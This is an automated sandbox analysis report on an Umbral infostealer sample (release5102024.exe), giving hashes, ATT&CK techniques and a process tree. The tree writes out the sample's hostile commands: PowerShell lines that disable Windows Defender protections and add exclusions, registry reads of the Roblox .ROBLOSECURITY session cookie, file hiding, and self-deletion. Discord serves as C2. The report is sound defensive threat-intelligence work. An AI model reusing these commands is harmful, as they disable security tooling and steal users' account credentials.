umbral | 330257ac72a4b7cb8d45cbb4d5f888bc6c69f139e7b0edf1cb64f2c733d846f7

Analysis

max time kernel
12s
max time network
13s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
26-05-2024 17:31

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General

Target

release5102024.exe
Size

234KB
MD5

0e686473973693d296760e2c8ea19dd8
SHA1

80bf5c75bebb592eb88322c3a4dda1f056b33b69
SHA256

330257ac72a4b7cb8d45cbb4d5f888bc6c69f139e7b0edf1cb64f2c733d846f7
SHA512

c06039e42a95c8ca0ec7fc8bfa5ac002208ffe69d49f7379ab272772496a1c08e165b7220748df52233ef7187c2204ecf2eecaa9a7aceeabd3b29bc32fe84e0f
SSDEEP

6144:XloZM+rIkd8g+EtXHkv/iD43WZwEbhS6FvAxDeebyAb8e1m9ii4:1oZtL+EP83WZwEbhS6FvAxDeeb7m

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2488-1-0x000001C9DBD90000-0x000001C9DBDD0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3044	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	release5102024.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	discord.com
24	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
820	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3016	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2488	release5102024.exe
3044	powershell.exe
3044	powershell.exe
3996	powershell.exe
3996	powershell.exe
4024	powershell.exe
4024	powershell.exe
2776	powershell.exe
2776	powershell.exe
3708	powershell.exe
3708	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2488	release5102024.exe
Token: SeIncreaseQuotaPrivilege	3152	wmic.exe
Token: SeSecurityPrivilege	3152	wmic.exe
Token: SeTakeOwnershipPrivilege	3152	wmic.exe
Token: SeLoadDriverPrivilege	3152	wmic.exe
Token: SeSystemProfilePrivilege	3152	wmic.exe
Token: SeSystemtimePrivilege	3152	wmic.exe
Token: SeProfSingleProcessPrivilege	3152	wmic.exe
Token: SeIncBasePriorityPrivilege	3152	wmic.exe
Token: SeCreatePagefilePrivilege	3152	wmic.exe
Token: SeBackupPrivilege	3152	wmic.exe
Token: SeRestorePrivilege	3152	wmic.exe
Token: SeShutdownPrivilege	3152	wmic.exe
Token: SeDebugPrivilege	3152	wmic.exe
Token: SeSystemEnvironmentPrivilege	3152	wmic.exe
Token: SeRemoteShutdownPrivilege	3152	wmic.exe
Token: SeUndockPrivilege	3152	wmic.exe
Token: SeManageVolumePrivilege	3152	wmic.exe
Token: 33	3152	wmic.exe
Token: 34	3152	wmic.exe
Token: 35	3152	wmic.exe
Token: 36	3152	wmic.exe
Token: SeIncreaseQuotaPrivilege	3152	wmic.exe
Token: SeSecurityPrivilege	3152	wmic.exe
Token: SeTakeOwnershipPrivilege	3152	wmic.exe
Token: SeLoadDriverPrivilege	3152	wmic.exe
Token: SeSystemProfilePrivilege	3152	wmic.exe
Token: SeSystemtimePrivilege	3152	wmic.exe
Token: SeProfSingleProcessPrivilege	3152	wmic.exe
Token: SeIncBasePriorityPrivilege	3152	wmic.exe
Token: SeCreatePagefilePrivilege	3152	wmic.exe
Token: SeBackupPrivilege	3152	wmic.exe
Token: SeRestorePrivilege	3152	wmic.exe
Token: SeShutdownPrivilege	3152	wmic.exe
Token: SeDebugPrivilege	3152	wmic.exe
Token: SeSystemEnvironmentPrivilege	3152	wmic.exe
Token: SeRemoteShutdownPrivilege	3152	wmic.exe
Token: SeUndockPrivilege	3152	wmic.exe
Token: SeManageVolumePrivilege	3152	wmic.exe
Token: 33	3152	wmic.exe
Token: 34	3152	wmic.exe
Token: 35	3152	wmic.exe
Token: 36	3152	wmic.exe
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	3996	powershell.exe
Token: SeDebugPrivilege	4024	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeIncreaseQuotaPrivilege	2268	wmic.exe
Token: SeSecurityPrivilege	2268	wmic.exe
Token: SeTakeOwnershipPrivilege	2268	wmic.exe
Token: SeLoadDriverPrivilege	2268	wmic.exe
Token: SeSystemProfilePrivilege	2268	wmic.exe
Token: SeSystemtimePrivilege	2268	wmic.exe
Token: SeProfSingleProcessPrivilege	2268	wmic.exe
Token: SeIncBasePriorityPrivilege	2268	wmic.exe
Token: SeCreatePagefilePrivilege	2268	wmic.exe
Token: SeBackupPrivilege	2268	wmic.exe
Token: SeRestorePrivilege	2268	wmic.exe
Token: SeShutdownPrivilege	2268	wmic.exe
Token: SeDebugPrivilege	2268	wmic.exe
Token: SeSystemEnvironmentPrivilege	2268	wmic.exe
Token: SeRemoteShutdownPrivilege	2268	wmic.exe
Token: SeUndockPrivilege	2268	wmic.exe
Token: SeManageVolumePrivilege	2268	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 3152	2488	release5102024.exe	82
PID 2488 wrote to memory of 3152	2488	release5102024.exe	82
PID 2488 wrote to memory of 3512	2488	release5102024.exe	86
PID 2488 wrote to memory of 3512	2488	release5102024.exe	86
PID 2488 wrote to memory of 3044	2488	release5102024.exe	89
PID 2488 wrote to memory of 3044	2488	release5102024.exe	89
PID 2488 wrote to memory of 3996	2488	release5102024.exe	92
PID 2488 wrote to memory of 3996	2488	release5102024.exe	92
PID 2488 wrote to memory of 4024	2488	release5102024.exe	94
PID 2488 wrote to memory of 4024	2488	release5102024.exe	94
PID 2488 wrote to memory of 2776	2488	release5102024.exe	96
PID 2488 wrote to memory of 2776	2488	release5102024.exe	96
PID 2488 wrote to memory of 2268	2488	release5102024.exe	98
PID 2488 wrote to memory of 2268	2488	release5102024.exe	98
PID 2488 wrote to memory of 2696	2488	release5102024.exe	102
PID 2488 wrote to memory of 2696	2488	release5102024.exe	102
PID 2488 wrote to memory of 3204	2488	release5102024.exe	104
PID 2488 wrote to memory of 3204	2488	release5102024.exe	104
PID 2488 wrote to memory of 3708	2488	release5102024.exe	106
PID 2488 wrote to memory of 3708	2488	release5102024.exe	106
PID 2488 wrote to memory of 820	2488	release5102024.exe	108
PID 2488 wrote to memory of 820	2488	release5102024.exe	108
PID 2488 wrote to memory of 4216	2488	release5102024.exe	111
PID 2488 wrote to memory of 4216	2488	release5102024.exe	111
PID 4216 wrote to memory of 3016	4216	cmd.exe	113
PID 4216 wrote to memory of 3016	4216	cmd.exe	113

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3512	attrib.exe

C:\Users\Admin\AppData\Local\Temp\release5102024.exe
"C:\Users\Admin\AppData\Local\Temp\release5102024.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3152
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\release5102024.exe"
  2⤵
  - Views/modifies file attributes
  PID:3512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\release5102024.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2268
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2696
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3708
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:820
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\release5102024.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4216
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:3016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
74a6b79d36b4aae8b027a218bc6e1af7

SHA1
0350e46c1df6934903c4820a00b0bc4721779e5f

SHA256
60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

SHA512
60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec79fae4e7c09310ebf4f2d85a33a638

SHA1
f2bdd995b12e65e7ed437d228f22223b59e76efb

SHA256
e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a

SHA512
af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4lmeerj.vnj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2488-71-0x000001C9F6230000-0x000001C9F623A000-memory.dmp

Filesize
40KB

Download
memory/2488-35-0x000001C9F61F0000-0x000001C9F620E000-memory.dmp

Filesize
120KB

Download
memory/2488-90-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmp

Filesize
10.8MB

Download
memory/2488-72-0x000001C9F6260000-0x000001C9F6272000-memory.dmp

Filesize
72KB

Download
memory/2488-2-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmp

Filesize
10.8MB

Download
memory/2488-33-0x000001C9F64E0000-0x000001C9F6556000-memory.dmp

Filesize
472KB

Download
memory/2488-34-0x000001C9F6560000-0x000001C9F65B0000-memory.dmp

Filesize
320KB

Download
memory/2488-0-0x00007FFE770A3000-0x00007FFE770A5000-memory.dmp

Filesize
8KB

Download
memory/2488-1-0x000001C9DBD90000-0x000001C9DBDD0000-memory.dmp

Filesize
256KB

Download
memory/3044-15-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmp

Filesize
10.8MB

Download
memory/3044-5-0x0000014966080000-0x00000149660A2000-memory.dmp

Filesize
136KB

Download
memory/3044-14-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmp

Filesize
10.8MB

Download
memory/3044-13-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmp

Filesize
10.8MB

Download
memory/3044-18-0x00007FFE770A0000-0x00007FFE77B61000-memory.dmp

Filesize
10.8MB

Download